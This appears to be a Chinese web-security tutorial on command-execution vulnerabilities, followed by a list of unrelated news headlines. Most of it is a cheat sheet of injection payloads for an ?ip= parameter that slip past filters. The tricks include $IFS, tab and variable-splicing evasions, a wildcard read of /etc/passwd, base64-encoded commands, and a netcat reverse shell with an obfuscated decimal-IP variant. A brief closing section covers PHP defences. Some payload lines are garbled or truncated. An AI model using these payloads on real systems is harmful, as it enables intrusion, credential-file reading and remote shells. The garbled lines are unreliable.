命令执行与代码执行(Web漏洞及防御)
文章插图
命令执行漏洞应用程序的某些功能需要调用可以执行系统命令的函数 , 如果这些函数或函数的参数被用户控制 , 就有可能通过命令连接符("cat ${IFS} test.php// 可以查看test.php的源码!$IFS$9绕过:用于空格过滤
?ip=192.168.1.88;cat ${IFS}$9 test.php// 可以查看test.php的源码!
制表符绕过
制表符的URL编码:%09 , 通过%09来代替空格 , 绕过空格过滤!
?ip=192.168.1.88;cat$09test.php// 可以查看test.php的源码!
{}绕过
绕过空格过滤
?ip=192.168.1.88;{cat$09test.php}// 可以查看test.php的源码!
<绕过
绕过cat命令过滤
?ip=192.168.1.88;cat变量拼接绕过
Linux支持变量赋值 , 通过变量拼接绕过!
?ip=192.168.1.88;a=c;b=at;$a$b test.php// 可以查看test.php的源码!
空变量绕过
?ip=192.168.1.88;ca${z}t test.php// 可以查看test.php的源码!
系统变量绕过
${SHELLOPTS}是系统变量 , 利用系统变量的字符拼接绕过过滤!
文章插图
?ip=192.168.1.88;${SHELLOPTS:3:1}at test.php// 可以查看test.php的源码!
\绕过
?ip=192.168.1.88;c\a\t test.php// 可以查看test.php的源码!
通配符绕过
* , ?、[]
比如要查看/etc/passwd文件
cat /???/???sw?
shell反弹绕过
/bin/nc 192.168.1.88 6666 -e /bin/bash
192.168.1.88 转换为十进制:192x256的3次方+168x256的二次方+1x256+88x1=3232235864
/b??/?c 3232235864 8888 -e /???/b??h
Base64编码绕过
利用系统函数base64对命令进行Base64编码
// id命名对其进行Base64编码:aWQ=解码:base64 -d
`echo "aWQ=" | base64 -d`
expr和awk绕过
通过命令从其他文件中提取字符进行命令构造
test.txt的内容为:
tonywenxin
【命令执行与代码执行(Web漏洞及防御)】获取test.txt中的t字母:
expr substr $(awk NR=1 test) 1 1 // 1:位置(索引从1开始的) 1:个数
文章插图
无回显的命令执行
存在命令指定漏洞 , 并且执行此命名没有回显 , 可以通过shell反弹的方式将shell反弹到vps上 , 然后通过vps执行命令 。 如果无法反弹shell , 也可以通过DNS管道解析的方式获取命令的执行结果!
文章插图
文章插图
文章插图
文章插图
命令执行漏洞防御服务器配置修复
通过PHP配置文件中的disable_functions禁用敏感函数来修复命令执行漏洞!
函数过滤
escapeshellarg():把字符串转码为可以在shell命令里使用的参数 , 以过滤命令中的参数!
escapeshellcmd():对shell元字符进行转义 , 过滤命令!
代码执行漏洞防御
文章插图
- 创意|wacom one万与创意数位屏测评
- 黑莓(BB.US)盘前涨逾32%,将与亚马逊开发智能汽车数据平台|美股异动 | US
- 巅峰|realme巅峰之作:120Hz+陶瓷机身+5000mAh 做到了颜值与性能并存
- 抖音小店|抖音进军电商,短视频的商业模式与变现,创业者该如何抓住机遇?
- YFI正式宣布与Sushiswap合作|金色DeFi日报 | 合作
- 小店|抖音小店无货源是什么?与传统模式有什么区别?
- 星期一|亚马逊:黑五与网络星期一期间 第三方卖家销售额达到48亿美元
- 迁徙|网红迁徙记:哪里才是奶与蜜之地?
- 与用户|掌握好这4个步骤,实现了规模性的盈利
- 按键|苹果与宜家合作智能家居快捷按键,定价9.99美元